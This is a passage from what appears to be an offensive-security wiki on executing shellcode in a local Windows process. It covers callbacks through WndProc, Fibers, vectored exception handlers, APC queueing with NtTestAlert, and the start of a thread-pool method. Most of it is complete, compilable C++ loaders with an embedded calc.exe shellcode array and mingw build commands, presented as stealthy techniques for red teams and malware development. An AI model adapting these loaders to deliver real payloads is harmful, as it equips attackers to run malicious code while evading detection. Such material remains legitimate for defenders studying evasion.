    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
        return 1;
    }
    
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    
    if (!NtAllocateVirtualMemory || !NtWriteVirtualMemory || !NtProtectVirtualMemory) {
        std::cerr << "Failed to get addresses of NT functions" << std::endl;
    }

    // Allocate memory for shellcode
    status = NtAllocateVirtualMemory(hProc, &base_addr, 0, &pnew, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (status != 0) {
        std::cerr << "NtAllocateVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    // Write shellcode to allocated memory
    status = NtWriteVirtualMemory(hProc, base_addr, decoded, pnew, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    // Change memory protection to executable
    status = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&pnew, PAGE_EXECUTE_READ, &oldProtect);
    if (status != 0) {
        std::cerr << "NtProtectVirtualMemory failed with status: " << std::hex << status << std::endl;
       
    }

    std::cout << "Executing shellcode using WndProc callback..." << std::endl;

    // Register window class with shellcode as WndProc
    WNDCLASSEXW wc = {0};
    wc.cbSize = sizeof(WNDCLASSEXW);
    wc.lpfnWndProc = (WNDPROC)base_addr;
    wc.lpszClassName = L"ShellcodeClass";
    
    if (!RegisterClassExW(&wc)) {
        std::cerr << "RegisterClassEx failed with error: " << GetLastError() << std::endl;
        
    }

    // Create window to trigger WndProc
    HWND hWnd = CreateWindowExW(0, L"ShellcodeClass", L"", 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, NULL, NULL);
    if (!hWnd) {
        std::cerr << "CreateWindowEx failed with error: " << GetLastError() << std::endl;
    }

    // Send message to trigger shellcode execution
    SendMessageW(hWnd, WM_USER, 0, 0);

    // Clean up
    DestroyWindow(hWnd);
    UnregisterClassW(L"ShellcodeClass", NULL);

    std::cout << "Execution completed" << std::endl;
    return 0;
}

int main()
{
    esc_main(NULL);
}
```

{% endcode %}

On Linux, you can compile it as follows

```bash
x86_64-w64-mingw32-g++ WndProc.cpp -o WndProc.exe -std=c++20 -static
```

{% endtab %}
{% endtabs %}


# Fibers Shellcode Execution

## Theory

This technique executes shellcode by leveraging Windows Fibers for indirect execution flow control. Unlike traditional shellcode execution techniques that rely on `CreateThread` or direct function pointers, this method utilizes `ConvertThreadToFiber`, `CreateFiber`, and `SwitchToFiber` to execute shellcode in a fiber's context. This allows execution within an existing thread, making detection more challenging.

Windows fibers are manually scheduled execution units that run within the context of a thread. Unlike threads, fibers do not have their own kernel-managed execution state but instead share the thread's stack and register state. Fibers are useful in scenarios where a program needs finer control over execution switching.

#### Windows Fibers Overview

A fiber is a lightweight execution unit that must be explicitly scheduled by the application. The primary difference between a thread and a fiber is that threads are preemptively scheduled by the OS, whereas fibers must yield execution manually. The Windows API provides the following key functions for working with fibers:

* `ConvertThreadToFiber()`: Converts the calling thread into a fiber, enabling fiber-based execution.
* `CreateFiber()`: Creates a new fiber with a specified stack size and entry function.
* `SwitchToFiber()`: Switches execution to the specified fiber.
* `DeleteFiber()`: Frees resources associated with a fiber when execution completes.

Since fibers execute within the thread that schedules them, all operations performed by a fiber appear as if they were performed by the thread itself. This includes memory access, thread-local storage (TLS), and API calls.

#### Execution Flow

1. **Allocate Memory for Shellcode**:
   * Memory is allocated within the process using `NtAllocateVirtualMemory`.
   * Shellcode is written using `NtWriteVirtualMemory`.
   * Memory protection is changed to executable using `NtProtectVirtualMemory`.
2. **Convert Thread to Fiber**:
   * The calling thread is converted into a fiber using `ConvertThreadToFiber()`. This enables fiber switching within the thread.
3. **Create a Fiber for Shellcode Execution**:
   * `CreateFiber()` is used to create a new fiber pointing to the allocated shellcode.
4. **Switch to Shellcode Fiber**:
   * `SwitchToFiber()` is called to transfer execution to the shellcode fiber.
5. **Return Execution and Cleanup**:
   * Once the shellcode executes, execution returns to the main fiber.
   * The fiber is deleted using `DeleteFiber()`.
   * The thread is reverted back to its original state.

## Practice

{% tabs %}
{% tab title="C++" %}
We maye use the following C++ code to execute the shellcode using fibers:

{% code title="FiberExec.cpp" %}

```cilkcpp
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>

// Add these typedefs and function declarations for the NT functions
typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);

// Define NTSTATUS if not already defined
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif


DWORD WINAPI esc_main(LPVOID lpParameter)
{
    DWORD dwSize;
    // calc.exe shellcode
    unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
    SIZE_T length = sizeof(decoded);


    // Load NT functions dynamically
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
    }
 
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    
    if (!NtAllocateVirtualMemory || !NtWriteVirtualMemory || !NtProtectVirtualMemory) {
        std::cerr << "Failed to get addresses of NT functions" << std::endl;
    }

    // Prepare variables
    HANDLE hProc = GetCurrentProcess();
    PVOID base_addr = NULL;
    SIZE_T pnew = length;
    SIZE_T bytesWritten = 0;
    DWORD oldProtect = 0;
    NTSTATUS status;

    // Allocate memory for shellcode
    status = NtAllocateVirtualMemory(hProc, &base_addr, 0, &pnew, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (status != 0) {
        std::cerr << "NtAllocateVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    // Write shellcode to allocated memory
    status = NtWriteVirtualMemory(hProc, base_addr, decoded, pnew, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    // Change memory protection to executable
    status = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&pnew, PAGE_EXECUTE_READ, &oldProtect);
    if (status != 0) {
        std::cerr << "NtProtectVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    std::cout << "Executing shellcode using Fiber-based execution..." << std::endl;

    // Convert current thread to fiber
    PVOID MainFiber = ConvertThreadToFiber(NULL);
    if (!MainFiber) {
        std::cerr << "ConvertThreadToFiber failed with error: " << GetLastError() << std::endl;
    }

    // Create fiber pointing to shellcode
    PVOID ShellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)base_addr, NULL);
    if (!ShellcodeFiber) {
        std::cerr << "CreateFiber failed with error: " << GetLastError() << std::endl;
        ConvertFiberToThread();
    }

    // Switch to shellcode fiber
    SwitchToFiber(ShellcodeFiber);

    // Execution returns here after shellcode completes
    DeleteFiber(ShellcodeFiber);
    ConvertFiberToThread();

    std::cout << "Execution completed" << std::endl;
    return 0;
}

int main()
{
    esc_main(NULL);
    return 0;
}

 
```

{% endcode %}

We can compile it from linux using following command

```bash
x86_64-w64-mingw32-g++ FiberExec.cpp -o FiberExec.exe -std=c++20 -static
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber>" %}

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/procthread/fibers>" %}


# Vector Exception Handler Shellcode Execution

## Theory

Vectored Exception Handling (VEH) is a Windows mechanism that allows applications to register exception handlers before Structured Exception Handling (SEH) takes over. This mechanism can be abused for code injection and execution, making it useful for red team operations and malware development.

#### **Vectored Exception Handling (VEH)**

Vectored Exception Handling provides a method for intercepting exceptions raised by a process before Structured Exception Handling (SEH) is engaged. Unlike SEH, which follows a per-thread linked list, VEH is process-wide, making it an attractive technique for stealthy payload execution.

The key API functions used in VEH execution include:

* `AddVectoredExceptionHandler`: Registers a custom exception handler.
* `RemoveVectoredExceptionHandler`: Unregisters the handler.
* `RaiseException`: Triggers an exception to execute the registered handler.

#### **Execution Flow**

1. **Retrieve NTAPI Function Pointers**:
   * Load `ntdll.dll` and resolve function addresses for `NtAllocateVirtualMemory`, `NtWriteVirtualMemory`, and `NtProtectVirtualMemory` using `GetProcAddress`.
2. **Allocate Memory**:
   * Call `NtAllocateVirtualMemory` to allocate memory in the current process with `PAGE_READWRITE` permissions.
3. **Write Shellcode into Allocated Memory**:
   * Use `NtWriteVirtualMemory` to copy shellcode into the allocated region.
4. **Set Memory Permissions to Executable**:
   * Change the memory protection to `PAGE_EXECUTE_READ` using `NtProtectVirtualMemory`.
5. **Register the Vectored Exception Handler**:
   * Call `AddVectoredExceptionHandler`, specifying the allocated shellcode region as the handler function.
6. **Trigger Exception to Execute Shellcode**:
   * Call `RaiseException(0x41414141, 0, 0, NULL)`, which causes the VEH to intercept and execute the registered handler.
7. **Cleanup**:
   * After execution, `RemoveVectoredExceptionHandler` is called to unregister the handler.

## Practice

{% tabs %}
{% tab title="C++" %}
The following code implements this technique:

{% code title="Vectored.cpp" %}

```cpp
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>

// Add these typedefs and function declarations for the NT functions
typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);

// Define NTSTATUS if not already defined
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif


DWORD WINAPI esc_main(LPVOID lpParameter)
{
    DWORD dwSize;
   
    // calc.exe shellcode
    unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
    SIZE_T length = sizeof(decoded);

    // Load NT functions dynamically
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "Failed to get handle to ntdll.dll" << std::endl;

    }
    
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    
    if (!NtAllocateVirtualMemory || !NtWriteVirtualMemory || !NtProtectVirtualMemory) {
        std::cerr << "Failed to get addresses of NT functions" << std::endl;
    }
    
    HANDLE hProc = GetCurrentProcess();
    DWORD oldProtect = 0;
    PVOID base_addr = NULL;
    SIZE_T bytesWritten;
    SIZE_T pnew = length;
    NTSTATUS status;

    // Allocate memory for shellcode
    status = NtAllocateVirtualMemory(hProc, &base_addr, 0, &pnew, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (status != 0) {
        std::cerr << "NtAllocateVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    // Write shellcode to allocated memory
    status = NtWriteVirtualMemory(hProc, base_addr, decoded, pnew, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    // Change memory protection to executable
    status = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&pnew, PAGE_EXECUTE_READ, &oldProtect);
    if (status != 0) {
        std::cerr << "NtProtectVirtualMemory failed with status: " << std::hex << status << std::endl;
    }

    std::cout << "Executing shellcode using Vectored Exception Handler..." << std::endl;

    // Register vectored exception handler pointing to shellcode
    PVOID handler = AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)base_addr);
    if (!handler) {
        std::cerr << "AddVectoredExceptionHandler failed with error: " << GetLastError() << std::endl;
    }

    // Trigger exception to execute handler
    RaiseException(0x41414141, 0, 0, NULL);

    // Remove handler after execution
    RemoveVectoredExceptionHandler(handler);

    std::cout << "Execution completed" << std::endl;
    return 0;
}

int main()
{
    esc_main(NULL);
    return 0;
}
```

{% endcode %}

We can compile it from linux using following command

```bash
x86_64-w64-mingw32-g++ Vectored.cpp -o Vectored.exe -std=c++20 -static
```

{% endtab %}
{% endtabs %}


# NtQueueApcThread & NtTestAlert Shellcode Execution

MITRE ATT\&CK™ Process Injection: Asynchronous Procedure Call - Technique T1055.004

## Theory

This page explores **APC (Asynchronous Procedure Call) Shellcode Execution** technique with the undocumented Native API, **NtTestAlert**, to execute shellcode within a local process.

An **APC (Asynchronous Procedure Call)** is a function that executes asynchronously in the context of a specific thread. Windows provides the **NtQueueApcThread** function, which allows an APC routine to be added to a thread’s APC queue. The function will execute when the thread enters an **alertable state**.

#### Conditions for Execution

For an APC to be executed, the target thread must enter an alertable state. This can be achieved through functions like:

* `SleepEx()`
* `WaitForSingleObjectEx()`
* `WaitForMultipleObjectsEx()`
* `SignalObjectAndWait()`

However **`NtTestAlert`** can be used during APC injection to:

* Activate a thread’s alertable state.
* Prompt the execution of queued APCs to execute our shellcode.

### Execution Flow

1. **Memory Allocation**: Allocate memory using `NtAllocateVirtualMemory`.
2. **Shellcode Injection**: Write shellcode to the allocated memory via `NtWriteVirtualMemory`.
3. **Memory Protection Change**: Modify the memory protection to executable with `NtProtectVirtualMemory`.
4. **Queue APC Function**: Use `NtQueueApcThread` to queue the shellcode for execution.
5. **Trigger APC Execution**: Force the thread into an alertable state using `NtTestAlert`, which executes the shellcode.

## Practice

{% tabs %}
{% tab title="C++" %}
The following code implements this technique:

{% code title="QueueAPC.cpp" %}

```cilkcpp
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>

// Add these typedefs and function declarations for the NT functions
typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);

typedef NTSTATUS (NTAPI *pNtQueueApcThread)(
    HANDLE ThreadHandle,
    PVOID ApcRoutine,
    PVOID ApcArgument1,
    PVOID ApcArgument2,
    PVOID ApcArgument3
);

typedef NTSTATUS (NTAPI *pNtTestAlert)(
    VOID
);

typedef NTSTATUS (NTAPI *pNtClose)(
    HANDLE Handle
);

// Define NTSTATUS if not already defined
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif

DWORD WINAPI esc_main(LPVOID lpParameter)
{
    DWORD dwSize;

    //calc.exe shellcode
    unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
    SIZE_T length = sizeof(decoded);


    // Load NT functions dynamically
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
        return 1;
    }
    
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(hNtdll, "NtQueueApcThread");
    pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(hNtdll, "NtTestAlert");
    pNtClose NtClose = (pNtClose)GetProcAddress(hNtdll, "NtClose");
    
    if (!NtAllocateVirtualMemory || !NtWriteVirtualMemory || !NtProtectVirtualMemory || 
        !NtQueueApcThread || !NtTestAlert || !NtClose) {
        std::cerr << "Failed to get addresses of NT functions" << std::endl;
        return 1;
    }

    //####SYSCALL####
    HANDLE hProc = GetCurrentProcess();
    DWORD oldprotect = 0;
    PVOID base_addr = NULL;
    HANDLE hThread = NULL;
    SIZE_T bytesWritten;
    SIZE_T pnew = length;
    NTSTATUS status;

    // Allocate memory for shellcode
    status = NtAllocateVirtualMemory(hProc, &base_addr, 0, &pnew, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (status != 0) {
        std::cerr << "NtAllocateVirtualMemory failed with status: " << std::hex << status << std::endl;
        return 1;
    }
    
    // Write shellcode to allocated memory
    status = NtWriteVirtualMemory(hProc, base_addr, decoded, length, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: " << std::hex << status << std::endl;
        return 1;
    }
    
    // Change memory protection to executable
    status = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&length, PAGE_EXECUTE_READ, &oldprotect);
    if (status != 0) {
        std::cerr << "NtProtectVirtualMemory failed with status: " << std::hex << status << std::endl;
        return 1;
    }
    
    // Queue APC to current thread
    HANDLE currentThread = GetCurrentThread();
    status = NtQueueApcThread(currentThread, base_addr, NULL, NULL, NULL);
    if (status != 0) {
        std::cerr << "NtQueueApcThread failed with status: " << std::hex << status << std::endl;
        return 1;
    }
    
    std::cout << "Queued APC, alerting thread to process it..." << std::endl;
    
    // Alert the thread to process the APC
    status = NtTestAlert();
    if (status != 0) {
        std::cerr << "NtTestAlert failed with status: " << std::hex << status << std::endl;
        return 1;
    }
    
    // Clean up handle
    NtClose(hProc);
    
    std::cout << "Execution completed" << std::endl;
    return 0;
}

int main()
{
    esc_main(NULL);
    return 0;
}

```

{% endcode %}

We can compile it from linux using following command

```bash
x86_64-w64-mingw32-g++ QueueAPC.cpp -o QueueAPC.exe -std=c++20 -static
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert>" %}

{% embed url="<https://sid4hack.medium.com/malware-development-part-12-apc-injection-via-nttestalert-8beb70834dff>" %}


# Thread Pool Callback Shellcode Execution

## Theory

Thread Pool API is a mechanism in Windows that allows efficient management of multiple worker threads, enabling asynchronous execution of tasks. The API provides functions such as `CreateThreadpoolWork`, `SubmitThreadpoolWork`, and `WaitForThreadpoolWorkCallbacks` to create and execute work items in a thread pool. Attackers can exploit this functionality to execute shellcode in a stealthy manner by leveraging the thread pool callback mechanism.

#### Key Concepts:

* **Thread Pool**: A collection of worker threads managed by the Windows kernel, allowing efficient execution of asynchronous tasks.
* **Thread Pool Work Item**: A task submitted to the thread pool for execution.
* **Callback Function**: A function executed by a worker thread in response to a work item submission.
* **Execution Flow Hijacking**: By injecting shellcode into memory and registering it as a thread pool callback, an attacker can execute arbitrary code within the context of a legitimate process.

#### Execution Flow

1. **Shellcode Preparation & Memory Setup**:
   * The shellcode is embedded within the executable and stored as a byte array.
   * Memory is allocated in the current process using `NtAllocateVirtualMemory` with `PAGE_READWRITE` permissions.
   * The shellcode is copied to the allocated memory using `NtWriteVirtualMemory`.
   * The memory region containing the shellcode is then marked as `PAGE_EXECUTE_READ` using `NtProtectVirtualMemory`.
2. **Thread Pool Work Item Creation**:
   * `CreateThreadpoolWork` is called with the shellcode address as the callback function.
3. **Submitting the Work Item**:
   * `SubmitThreadpoolWork` enqueues the work item for execution.
4. **Execution**:
   * A worker thread from the pool picks up the work item and executes the shellcode.
5. **Cleanup**:
   * The work item is closed using `CloseThreadpoolWork` to clean-up

## Practice

{% tabs %}
{% tab title="C++" %}
The following code implements this technique:

{% code title="PoolCallback.cpp" %}

```cpp
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>

// Add these typedefs and function declarations for the NT functions
typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);

// Define NTSTATUS if not already defined
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif


DWORD WINAPI esc_main(LPVOID lpParameter)
{
    DWORD dwSize;
 
    // calc.exe shellcode
